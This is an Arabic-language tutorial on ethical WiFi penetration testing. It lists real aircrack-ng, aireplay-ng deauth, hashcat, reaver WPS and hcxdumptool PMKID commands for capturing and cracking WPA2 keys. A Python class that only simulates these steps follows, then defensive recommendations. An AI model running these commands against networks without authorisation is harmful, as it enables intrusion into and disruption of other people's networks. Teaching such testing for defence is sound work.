اختبار اختراق الشبكات اللاسلكية — الاختراق الأخلاقي

اختبار اختراق WiFi

⚠️ تحذير قانوني: فقط على شبكاتك أو بإذن مكتوب!

المتطلبات

- بطاقة WiFi تدعم Monitor Mode

- Kali Linux أو توزيعة مشابهة

- إذن كتابي

مراحل الاختبار

1. الاستطلاع

# تفعيل Monitor Mode
airmon-ng start wlan0

# مسح الشبكات
airodump-ng wlan0mon

2. التقاط Handshake

# استهداف شبكة محددة
airodump-ng -c [channel] --bssid [MAC] -w capture wlan0mon

# إجبار على إعادة الاتصال (deauth)
aireplay-ng -0 5 -a [AP_MAC] -c [Client_MAC] wlan0mon

3. كسر كلمة المرور

# Dictionary Attack
aircrack-ng -w wordlist.txt capture-01.cap

# باستخدام hashcat (أسرع)
hashcat -m 22000 hash.hc22000 wordlist.txt

الهجمات الشائعة

WPA/WPA2 PSK

- التقاط 4-way handshake

- Brute force / Dictionary

WPS Attack

# فحص WPS
wash -i wlan0mon

# هجوم PIN
reaver -i wlan0mon -b [BSSID] -vv

Evil Twin

- إنشاء نقطة وصول مزيفة

- التقاط كلمات المرور

PMKID Attack

- لا يحتاج client متصل

- أسرع من handshake

hcxdumptool -i wlan0mon -o capture.pcapng

الحماية المقترحة

- WPA3 إن توفر

- كلمة مرور قوية (15+ حرف)

- تعطيل WPS

- MAC filtering (محدود)

- مراقبة الأجهزة المتصلة

# أدوات فحص WiFi للتعليم
import hashlib
import itertools
import string

class WiFiPentestDemo:
    """
    محاكاة اختبار اختراق WiFi للتعليم
    ⚠️ للأغراض التعليمية فقط!
    """
    
    def __init__(self):
        self.captured_handshake = None
        self.target_network = None
    
    def simulate_scan(self):
        """محاكاة مسح الشبكات"""
        print("\n📡 Scanning for WiFi Networks...")
        print("=" * 70)
        print(f"{'BSSID':<20} {'CH':<5} {'ENC':<8} {'PWR':<6} {'ESSID'}")
        print("-" * 70)
        
        networks = [
            ("AA:BB:CC:DD:EE:01", 6, "WPA2", -45, "Home_Network"),
            ("AA:BB:CC:DD:EE:02", 1, "WPA2", -60, "Office_WiFi"),
            ("AA:BB:CC:DD:EE:03", 11, "WEP", -70, "Old_Router"),
            ("AA:BB:CC:DD:EE:04", 6, "WPA3", -55, "Secure_Net"),
            ("AA:BB:CC:DD:EE:05", 1, "OPEN", -40, "Free_WiFi"),
        ]
        
        for net in networks:
            security_color = ""
            if net[2] == "WEP":
                security_color = "🔴"
            elif net[2] == "OPEN":
                security_color = "🔴🔴"
            elif net[2] == "WPA2":
                security_color = "🟡"
            else:
                security_color = "🟢"
            
            print(f"{net[0]:<20} {net[1]:<5} {net[2]:<8} {net[3]:<6} {net[4]} {security_color}")
        
        print("\n💡 Analysis:")
        print("  🔴 Old_Router uses WEP - easily crackable!")
        print("  🔴🔴 Free_WiFi is OPEN - no encryption!")
        print("  🟢 Secure_Net uses WPA3 - most secure")
        
        return networks
    
    def simulate_handshake_capture(self, target_bssid):
        """محاكاة التقاط handshake"""
        print(f"\n🎯 Targeting: {target_bssid}")
        print("=" * 50)
        
        print("\n[1] Setting channel...")
        print("    ✅ Channel set to 6")
        
        print("\n[2] Waiting for handshake...")
        print("    📡 Listening for clients...")
        print("    👤 Client detected: 11:22:33:44:55:66")
        
        print("\n[3] Sending deauth packets...")
        print("    ⚡ Deauth sent to client")
        print("    📥 Client reconnecting...")
        
        print("\n[4] Capturing 4-way handshake...")
        print("    ✅ EAPOL 1/4 captured")
        print("    ✅ EAPOL 2/4 captured")
        print("    ✅ EAPOL 3/4 captured")
        print("    ✅ EAPOL 4/4 captured")
        
        print("\n🎉 Handshake captured successfully!")
        
        # محاكاة handshake (ليس حقيقي)
        self.captured_handshake = {
            "bssid": target_bssid,
            "essid": "Target_Network",
            "pmk_hash": hashlib.sha256(b"simulated_pmk").hexdigest()
        }
        
        return self.captured_handshake
    
    def simulate_password_crack(self, wordlist):
        """محاكاة كسر كلمة المرور"""
        if not self.captured_handshake:
            print("❌ No handshake captured!")
            return None
        
        print(f"\n🔓 Starting password crack...")
        print(f"   Wordlist: {len(wordlist)} passwords")
        print("=" * 50)
        
        # كلمة المرور "المخفية" للمحاكاة
        actual_password = "MyWiFi123"
        
        for i, password in enumerate(wordlist, 1):
            # محاكاة التقدم
            if i % 1000 == 0:
                print(f"   Tried {i} passwords...")
            
            if password == actual_password:
                print(f"\n🎉 PASSWORD FOUND!")
                print(f"   Password: {password}")
                print(f"   Attempts: {i}")
                return password
        
        print("\n❌ Password not in wordlist")
        return None
    
    def generate_wordlist(self, pattern="common"):
        """توليد wordlist للاختبار"""
        wordlists = {
            "common": [
                "password", "123456", "12345678", "qwerty",
                "admin", "letmein", "welcome", "monkey",
                "MyWiFi123",  # الكلمة الصحيحة
                "password123", "wifi2024", "homewifi"
            ],
            "numeric": [str(i).zfill(8) for i in range(10000)],
        }
        
        return wordlists.get(pattern, wordlists["common"])
    
    def wps_attack_simulation(self, target_bssid):
        """محاكاة هجوم WPS"""
        print(f"\n🔓 WPS Attack Simulation")
        print("=" * 50)
        print(f"Target: {target_bssid}")
        
        print("\n[1] Checking WPS status...")
        print("    ✅ WPS Enabled")
        print("    ⚠️ WPS Locked: No")
        
        print("\n[2] Starting PIN bruteforce...")
        print("    PIN format: XXXX-XXX (+ checksum)")
        print("    Total combinations: 11,000")
        
        # محاكاة تقدم
        pins_tried = [
            ("12345670", "❌"),
            ("00005670", "❌"),
            ("01234560", "❌"),
            ("98765430", "✅"),  # "النجاح"
        ]
        
        for pin, status in pins_tried:
            print(f"    Trying PIN: {pin} {status}")
        
        print("\n🎉 WPS PIN Found: 98765430")
        print("🔑 WiFi Password: SuperSecret123")
        
        print("\n⚠️ Mitigation:")
        print("   - Disable WPS in router settings")
        print("   - Use WPA3 if available")
    
    def security_recommendations(self):
        """توصيات أمنية"""
        print("\n" + "=" * 60)
        print("  🛡️ WiFi Security Recommendations")
        print("=" * 60)
        
        recommendations = [
            ("Use WPA3", "Most secure protocol available"),
            ("Strong Password", "15+ characters, mixed case, numbers, symbols"),
            ("Disable WPS", "WPS is vulnerable to PIN attacks"),
            ("Change Default SSID", "Don't reveal router brand"),
            ("MAC Filtering", "Limited protection, but adds layer"),
            ("Regular Updates", "Keep router firmware updated"),
            ("Guest Network", "Isolate guests from main network"),
            ("Monitor Devices", "Check for unknown connected devices"),
        ]
        
        for rec, desc in recommendations:
            print(f"\n  ✅ {rec}")
            print(f"     {desc}")


# تشغيل المحاكاة
demo = WiFiPentestDemo()

# مسح الشبكات
networks = demo.simulate_scan()

# التقاط handshake
demo.simulate_handshake_capture("AA:BB:CC:DD:EE:01")

# كسر كلمة المرور
wordlist = demo.generate_wordlist("common")
demo.simulate_password_crack(wordlist)

# هجوم WPS
demo.wps_attack_simulation("AA:BB:CC:DD:EE:02")

# التوصيات
demo.security_recommendations()